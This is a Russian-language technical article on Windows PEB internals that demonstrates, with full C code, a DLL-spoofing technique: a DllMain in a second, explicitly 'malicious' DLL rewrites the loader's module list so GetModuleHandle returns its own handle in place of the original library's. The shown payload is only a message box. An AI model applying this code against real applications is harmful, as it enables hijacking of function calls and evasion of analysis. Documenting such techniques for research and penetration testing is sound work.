Погружаемся в PEB. DLL Spoofing

—

от автора

В предыдущей статье мы в первом приближении рассмотрели PEB и разобрались, как подменить аргументы командной строки.
Продолжая разбираться с PEB, рассмотрим еще один способ повлиять на исполнение программы, и попробуем подменить вызываемую из DLL функцию.

Представим классическое приложение, использующее функцию из динамически загружаемой библиотеки:

#include "Windows.h" int main() { LoadLibraryW(L"OrigDll.dll"); (GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))(); }

Напишем простейшую библиотеку, экспортирующую функцию foo1:

extern "C" __declspec(dllexport) void foo1() {     MessageBoxA(NULL, "Orig", "Orig", MB_OK); } BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ) {     switch (ul_reason_for_call)     {     case DLL_PROCESS_ATTACH:     case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:         break;     }     return TRUE; }

При обычном ходе выполнения получим ожидаемый результат:

Загрузим приложение в IDA Pro и посмотрим, как происходит получение адреса функции foo1

Поставим точку останова

Подключимся отладчиком и в загруженных модулях найдем функцию kernelbase_GetModuleHandleW из kernelbase.dll :

Перейдем к реализации этой функции

Здесь видно, что если в функцию передается NULL, возвращается ImageBaseAddress текущего приложения из PEB, что намекает на возможность модификации PEB для подмены адреса искомой библиотеки.
Иначе, вызывается функция ntdll_LdrGetDllHandle.

Давайте перейдем к реализации этой функции в ntdll.dll:

Здесь видим, что используется LdrGetDllHandleEx, реализация которой в исходниках была в файле ldrapi.c

Обратимся к исходникам ReactOS, которая, хоть и не является копией Windows, во многом повторяет реализации системных функций.

Отсюда видно, что функция использует значение LDR_DATA_TABLE_ENTRY, которое в свою очередь находится в PEB.

Теперь, обладая уверенностью в том, что изменение PEB будет влиять на механизм работы с DLL, давайте представим ситуацию, в результате которой в приложении оказалось 2 DLL с одинаковыми экспортируемыми функциями

Самый простой вариант выглядит так:

int main() { LoadLibraryW(L"OrigDll.dll"); LoadLibraryW(L"SecondLibrary.dll"); (GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))(); (GetProcAddress(GetModuleHandleW(L"SecondLibrary.dll"),"foo1"))();  }

Получим ожидаемый результат в виде последовательного вызова обеих функций:

Теперь приступим к самому интересному.

Попробуем подменить адрес dll, получаемый функцией GetModuleHandle.

Для начала определим все необходимые типы данных и макрос для преобразования строки к нижнему регистру:

#ifndef TO_LOWERCASE #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) #endif  typedef struct _UNICODE_STRING {     USHORT Length;     USHORT MaximumLength;     PWSTR  Buffer;  } UNICODE_STRING, * PUNICODE_STRING;  typedef struct _PEB_LDR_DATA {     ULONG Length;     BOOLEAN Initialized;     HANDLE SsHandle;     LIST_ENTRY InLoadOrderModuleList;     LIST_ENTRY InMemoryOrderModuleList;     LIST_ENTRY InInitializationOrderModuleList;     PVOID      EntryInProgress;  } PEB_LDR_DATA, * PPEB_LDR_DATA;  typedef struct _LDR_DATA_TABLE_ENTRY {     LIST_ENTRY  InLoadOrderModuleList;     LIST_ENTRY  InMemoryOrderModuleList;     LIST_ENTRY  InInitializationOrderModuleList;     void* BaseAddress;     void* EntryPoint;     ULONG   SizeOfImage;     UNICODE_STRING FullDllName;     UNICODE_STRING BaseDllName;     ULONG   Flags;     SHORT   LoadCount;     SHORT   TlsIndex;     HANDLE  SectionHandle;     ULONG   CheckSum;     ULONG   TimeDateStamp; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;   typedef struct _PEB {     UCHAR InheritedAddressSpace;                                            //0x0     UCHAR ReadImageFileExecOptions;                                         //0x1     UCHAR BeingDebugged;                                                    //0x2     union     {         UCHAR BitField;                                                     //0x3         struct         {             UCHAR ImageUsesLargePages : 1;                                    //0x3             UCHAR IsProtectedProcess : 1;                                     //0x3             UCHAR IsImageDynamicallyRelocated : 1;                            //0x3             UCHAR SkipPatchingUser32Forwarders : 1;                           //0x3             UCHAR IsPackagedProcess : 1;                                      //0x3             UCHAR IsAppContainer : 1;                                         //0x3             UCHAR IsProtectedProcessLight : 1;                                //0x3             UCHAR IsLongPathAwareProcess : 1;                                 //0x3         };     };     UCHAR Padding0[4];                                                      //0x4     VOID* Mutant;                                                           //0x8     VOID* ImageBaseAddress;                                                 //0x10     struct _PEB_LDR_DATA* Ldr;                                              //0x18     struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x20 } PEB, * PPEB;

Для того, чтобы самостоятельно найти адреса загруженных модулей, реализуем доступ к PEB_LDR_DATA.

Получаем адрес PEB:

PPEB peb = NULL; peb = (PPEB)__readgsqword(0x60);

Получаем адрес PEB_LDR_DATA:

_PEB_LDR_DATA* ldr = peb->Ldr;

В этой структуре нас интересует InLoadOrderModuleList типа LIST_ENTRY, который является двусвязным списком загруженных модулей:

LIST_ENTRY list = ldr->InLoadOrderModuleList;

Для того, чтобы найти нужный модуль в списке загруженных, будем сравнивать имя модуля, с искомым:

PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); PLDR_DATA_TABLE_ENTRY curr_module = Flink;  while (curr_module != NULL && curr_module->BaseAddress != NULL) {     if (curr_module->BaseDllName.Buffer == NULL) continue;     WCHAR* curr_name = curr_module->BaseDllName.Buffer;      size_t i = 0;     for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {         WCHAR c1, c2;         TO_LOWERCASE(c1, module_name[i]);         TO_LOWERCASE(c2, curr_name[i]);         if (c1 != c2) break;     }     if (module_name[i] == 0 && curr_name[i] == 0) {             //found     }     curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; }

Отлично, модуль в PEB находить научились. Теперь давайте в случае, если модуль найден, заменим его BaseAddress и заодно проверим, совпадает ли он с результатом GetModuleHandle.
В итоге получим функцию подмены адреса DLL:

BOOL spoofDllHandle(WCHAR* module_name, LPVOID newHandle) {     PPEB peb = NULL;     peb = (PPEB)__readgsqword(0x60);     _PEB_LDR_DATA* ldr = peb->Ldr;     LIST_ENTRY list = ldr->InLoadOrderModuleList;      PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));     PLDR_DATA_TABLE_ENTRY curr_module = Flink;      while (curr_module != NULL && curr_module->BaseAddress != NULL) {         if (curr_module->BaseDllName.Buffer == NULL) continue;         WCHAR* curr_name = curr_module->BaseDllName.Buffer;          size_t i = 0;         for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {             WCHAR c1, c2;             TO_LOWERCASE(c1, module_name[i]);             TO_LOWERCASE(c2, curr_name[i]);             if (c1 != c2) break;         }         if (module_name[i] == 0 && curr_name[i] == 0) {             curr_module->BaseAddress = newHandle;             if (GetModuleHandleW(module_name) == newHandle)                 return TRUE;             return FALSE;         }         curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;     }     return FALSE; }

Что с этим делать-то?

Давайте представим ситуацию, когда вторая загружаемая DLL является вредоносной. Такое часто происходит в случае, когда приложение уязвимо к подмене DLL.

Во второй DLL в DllMain реализуем вызов функции подмены адреса оригинальной библиотеки на вредоносную:

wchar_t toSpoofName[] = L"OrigDll.dll";   BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ) {     switch (ul_reason_for_call)     {     case DLL_PROCESS_ATTACH:     {      if (spoofDllHandle(toSpoofName, hModule))         {             MessageBoxW(NULL, L"SUCCESS!", L"SPOOFED", MB_OK);         }         break;     }     case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:         break;     }     return TRUE; }

В результате, если библиотека будет загружена, адрес оригинальной будет подменен на наш, и выскочит MessageBox:

А затем будет вызвана функция из вредоносной библиотеки:

Более того, теперь при вызове функции, которая реализована только в вредоносной библиотеке, обращаясь к оригинальной, получим вызов:

#include "Windows.h"  int main() { LoadLibraryW(L"OrigDll.dll"); LoadLibraryW(L"SecondLibrary.dll"); (GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))(); (GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"newFunc"))();  }

Такая подмена DLL может служить альтернативным способом проксирования функций, а так же простейшей защитой собственной библиотеки от динамического анализа, в случае подмены адреса самой библиотеки.

Мы уже описали два способа манипуляций PEB, однако существует еще их огромное количество, о которых мы когда-нибудь обязательно расскажем!

Напоминаем, что хакинг является незаконной деятельностью и допустим только в случае тестирования на проникновение в согласовании с заказчиком.

Подписывайтесь на наш telegram-канал AUTHORITY.


ссылка на оригинал статьи https://habr.com/ru/articles/811107/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *